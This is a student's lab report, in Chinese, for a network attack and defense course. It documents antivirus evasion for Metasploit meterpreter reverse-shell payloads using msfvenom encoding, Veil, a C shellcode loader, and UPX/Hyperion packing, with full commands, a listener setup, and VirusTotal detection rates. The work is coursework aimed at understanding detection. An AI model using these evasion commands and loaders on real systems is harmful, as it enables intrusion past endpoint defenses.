当前位置: 首页 > news >正文

20232417 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

本次实验系统性地探索了多种恶意软件免杀技术,通过以下五种方法生成恶意文件:

MSF编码器技术 - 使用msfvenom生成基础载荷并进行迭代编码
Veil框架应用 - 利用专业免杀工具生成定制化载荷
C+Shellcode编程 - 通过自定义加载器执行原始shellcode
加壳技术 - 尝试UPX压缩壳和Hyperion加密壳处理可执行文件
技术组合应用 - 综合运用多种技术构建复合保护机制

采用VirusTotal多引擎检测平台对各技术生成的样本进行免杀效果评估,通过对比检测率分析不同技术的实际防护规避能力,从而深入理解现代恶意代码检测与防御机制。

2.实验过程

2.1观察初始的免杀效果

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.131 PORT=2417 -f exe > met20232417.exe生成一个可执行文件。
image
将生成的文件放入VirusTotal网站中,检测生成的文件危险程度,可以看见其结果是50/70

这个网站最出名的功能为,当你上传一个文件(如.exe、.docx、.pdf等)或提供一个网址、域名、IP地址时,VirusTotal会使用几十种不同的知名杀毒软件(如卡巴斯基、诺顿、Avast、腾讯电脑管家、360等)同时对其进行扫描。它会汇总所有扫描引擎的结果,并给您一个报告,告诉您有多少个引擎认为这个文件是恶意的。

image

2.2使用msfvenom生成exe、jar、php文件

2.2.1生成exe文件和多次编码后的exe文件

使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f exe > met-encoded20232417.exe命令生成exe文件。

-e x86/shikata_ga_nai:
-e 指定编码器。
x86/shikata_ga_nai 是 Metasploit 中一个非常著名的编码器,它可以通过复杂的多态变形技术,对载荷的代码进行混淆,以逃避杀毒软件的静态特征码检测。
-b '\x00':
-b 指定要避免的坏字符。
\x00 是空字符(NULL)。在许多缓冲区溢出或字符串处理函数中,空字符会被视为字符串的结束符,如果载荷中包含空字符,可能会导致载荷被截断而无法正常执行。所以需要从载荷中剔除。
-f exe:
-f 指定输出文件的格式。

image
再将这个文件检测,可以看到结果为43/72,这个结果与初始文件的结果差异不大。
image
再使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f exe > met-5encoded20232417.exe命令对使用x86/shikata_ga_nai编码器对载荷编码5次,这条命令的作用是对载荷(比起上条命令的默认次数1次)多迭代了几次,相当将载荷多加了几层壳。

-i表示迭代次数

屏幕截图 2025-10-24 154702
通常杀毒软件通常依靠病毒文件的静态特征码(如一串独特的二进制代码)来识别威胁。每次编码都会显著改变载荷的二进制结构。编码5次后,最终文件的静态特征与只编码1次的版本、甚至与原始版本都截然不同。按照道理来说,这大大降低了被基于单一特征码的杀毒引擎检测到的概率。并且对于高级的杀毒软件模拟器来说,需要“剥开”所有5层编码才能看到核心的恶意载荷,这增加了分析和检测的复杂度和时间成本。可是我们从结果可以看出并没有什么明显的差异,这是由于Virus Total上的引擎内置了shikata_ga_nai的解码和模拟器。无论你嵌套多少层,它们都可以通过模拟执行或虚拟化的方式,一步步地剥开所有编码层,直到还原出最核心的、未经加密的恶意载荷。加之杀毒引擎不是在给你的“编码外壳”做特征码匹配,而是在模拟解码过程后,对你最终在内存中还原的Meterpreter载荷进行特征匹配。只要核心的Meterpreter代码本身没有被修改,无论包了多少层外壳,最终都会被识别出来。
image

2.2.2生成jar文件和多次迭代后的jar文件

使用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 x>metjar20232417.jar生成jar文件

java/meterpreter/reverse_tcp:这是一个用Java语言编写的Meterpreter载荷。

image
检查结果为:35/64
image
与上面exe文件相似,这里我们使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 -e java/base64 -i 3 -f jar > met-encoded-jar20232417.jar命令多次编码文件

-e java/base64:使用了java/base64编码器

image
检测结果为:35/64,从结果可以明显看出这两者没有差别。
image

2.2.3生成php文件和多次迭代的php文件

使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 x> metphp_20232417.php生成php文件

php/meterpreter/reverse_tcp:这是一个用PHP语言编写的Meterpreter载荷。

image
检测结果为:25/62
image
再使用msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.207.131 LPORT=2417 x> met_encoded10_php_20232417.php命令生成编码10次的php文件。
image
检测结果为:9/62,从这个结果可以看出php文件的免杀效果较好。
image

2.3使用veil免杀工具

2.3.1下载veil

使用sudo apt -y install veil命令下载

Veil-Evasion是一个专门用于生成免杀载荷的先进框架。它可以看作是msfvenom的一个强大补充和替代品,尤其在绕过杀毒软件方面更为专业。

image

使用sudo /usr/share/veil/config/setup.sh --force --silent命令,配置veil。

/usr/share/veil/:这是通过apt install veil安装后,Veil框架文件在系统中的标准存储位置。
config/setup.sh:这是Veil框架的安装和配置脚本。它的任务是确保所有运行所需的组件都已就位。
--force:即使系统已经安装过Veil或部分依赖,也会强制重新安装所有组件。通常用于修复一个损坏的Veil安装,或者确保环境是全新和一致的。
--silent:脚本不会在终端向用户提出任何问题(例如“是否继续?”),所有选项均自动选择默认或所需的值。

image
下载好之后,会出现以下界面
image

2.3.2使用veil

输入use 1命令进入Evasion模块

Veil的Evasion模块是Veil框架的核心组件,专门用于生成免杀(Antivirus Evasion)的恶意软件载荷。
image
再使用list命令查看可以生成的载荷类型,选择c/meterpreter/rev_tcp.py
然后进行配置:
set LHOST 192.168.207.131
set LPORT 2417
generate

27e7f5eb9282f94b4a6a1a1a236c30ee
找到生成文件后,将文件送去检测。可以看见结果为:39/71
image

2.4使用C+shellcode编程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.131 LPORT=2417 -f c生成Meterpreter反向TCP连接的Shellcode,并以C语言数组格式输出。
image
使用生成的C语言数据创建一个文件。

除了复制生成的C语言数组外,不要忘记写入:
int main(){
int (func)() = (int()())buf;
func();

image
再使用i686-w64-mingw32-g++ -mconsole -O2 shellcode_c_20232417.c -o shellcode_c_20232417.exe命令进行编译得到exe文件。
image

检测的结果为:29/72,免杀效果较好。
image

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用upx shellcode_c_20232417.exe -o shellcode_c_upx_20232417.exe命令,用UPX工具对生成的恶意软件可执行文件进行压缩,以减小文件体积并可能规避杀毒软件的检测。
image
检测结果为:33/70,对比没有压缩之前的结果反而差了一点,这是由于UPX过于流行和特征明显,在现代安全环境中反而成了"危险标志"。杀毒软件看到UPX压缩的文件会更加警惕,导致检测率不降反升。
image

2.5.2使用加密壳Hyperion

首先使用cp shellcode_c_20232417.exe /usr/share/windows-resources/hyperion/命令,将文件放入指定目录下,注意这个地方需要root权限,使用su - root命令,再输入密码切换到root用户就好。再使用cd /usr/share/windows-resources/hyperion命令切换到目录。最后使用wine hyperion.exe -v shellcode_c_20232417.exe shellcode_c_hyp_20232417.exe命令加密文件。
image
检测结果为:51/71,这个免杀效果比之前的文件较差。
image

2.6通过组合应用各种技术实现恶意代码免杀

输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.207.131 LPORT=2417 -f c > 20232417_shellcode.c,使用msfvenom工具来生成一个被迭代10次的攻击载荷。
使用vi编辑器在生成的20232417_shellcode.c文件后加入代码int main(){ int (*func)() = (int(*)())buf; func(); }
使用命令i686-w64-mingw32-g++ 20232417_shellcode.c -o 20232417_shellcode.exe,用MinGW-w64编译该源文件。
使用upx 20232417_shellcode.exe -o 20232417_shellcode_upx.exe命令将文件压缩(使用UPX)。
使用wine hyperion.exe -v 20232417_shellcode_upx.exe 20232417_shellcode_upx_hyp.exe命令将文件加密(使用hyperion)。

注意这个地方是要在/usr/share/windows-resources/hyperion目录下,之前生成的20232417_shellcode_upx.exe也要在这个目录下。

将生成的文件放入主机中,用杀毒软件进行扫描,但是还没有等我手动开始扫描,电脑自带的杀毒软件就已经把这个程序给删除了。

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在虚拟机中输入msfconsole打开Metasploit框架的主控制台界面。
再输入以下命令进行配置:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.207.131
set LPORT 2417
exploit

image
然后再主机上面运行生成的.exe文件,但是由于被杀毒软件及时地删除了,所以无法运行,所以相应地回连也失败了。
image

3.问题及解决方案

  • 问题1:在下载veil的过程遇到了内存不够的问题
  • 解决方案:按照参考资料中的“kali内存扩展”进行内存扩展就好了。
  • 问题2:在解决问题1的过程中,在虚拟机设置中扩展内存后,重启虚拟机发现无法进入图形化登录界面,而且光标一直在左上角闪烁。
  • 解决方案:参照资料中的博客解决就好了,需要注意的是在按ctrl+alt+f2进入终端的时候,如果没有反应,可以先按esc+fn,再按ctrl+alt+f2进入终端(如果f2没有反应,可以尝试f1~f6)。

4.学习感悟以及思考

本次实验我们探索了恶意软件免杀技术的完整技术链。在msfvenom和编码器应用阶段,生成了exe、jar、php文件及其编码版本,发现php文件经过10次迭代编码后检出率从25/62降至9/62,展现出最佳效果,而exe和jar文件的多次编码效果有限,揭示了静态编码在面对现代检测引擎时的局限性。在Veil工具应用中,利用该专业免杀框架生成C语言载荷,获得39/71的检出率,证明了专用工具相对于msfvenom的标准编码具有更好的规避能力。在C+shellcode编程技术中,通过将shellcode嵌入自定义C程序并编译执行,成功将检出率降低至29/72,体现了定制化加载器在破坏特征码方面的优势。在加壳技术探索方面,UPX压缩壳由于特征明显反而使检出率上升至33/70,Hyperion加密壳更是达到51/71的高检出率,说明常见加壳工具已被安全产品深度建档。在技术组合应用阶段,综合运用多次编码、自定义编译、压缩和加密等技术生成复合保护载荷,但在实际环境测试中,尽管采用了多种技术组合,生成的恶意代码仍在运行时被主机杀毒软件实时拦截,无法建立回连连接,充分证明了现代端点防护系统具备多层次检测能力,单纯的技术堆叠已难以突破成熟的安全防护体系。
参考资料
参考的学姐博客
kali使用问题记录:开机后无法进入登录界面,光标在左上角闪烁
kali内存扩展

http://www.hskmm.com/?act=detail&tid=39361

相关文章:

  • 2025 年 10 月贵州旅游旅行社最新推荐,聚焦高端定制需求与全案交付能力
  • 2025 年 10 月贵州旅游旅行社最新推荐,精准检测与稳定性能深度解析
  • 2025 年 10 月贵州旅游旅行社最新推荐,实力品牌深度解析采购无忧之选!
  • (第六次)聚类和神经网络
  • PyTorch API 详细中文文档,基于PyTorch2.5
  • [java 锁]
  • 深入解析:windows输入法中英切换(英文提示)ALT + SHIFT切换(搜狗输入法CTRL+SHIFT+E切换)英文键盘
  • 小白 / 学生党必藏!真正有效的最佳安卓数据恢复软件
  • LeetCode边界与内部和相等的稳定子数组
  • 存储系统
  • 102302122许志安作业1
  • 部分思维题
  • 别再踩坑!真正有效的最佳免费数据恢复软件,亲测能救
  • 壁纸网站
  • Titanic轮船人员生存率预测
  • 自行搭建了几个AIGC小站点,可结合接口平台使用
  • ARC201B Binary Knapsack
  • 单个神经元手写数字识别
  • LDC
  • 单层神经元手写数字识别
  • 完整教程:由JoyAgent观察AI Agent 发展
  • 人工智能初了解
  • 173天隧道技术篇防火墙组策略ICMPDNSSMB协议出网判断C2上线解决方案
  • TF1和TF2
  • Spark计算引擎
  • Hive数据仓库工具
  • Hbase分布式数据库
  • MapReduce并行计算框架
  • 什么是Java Lambda
  • Java Stream流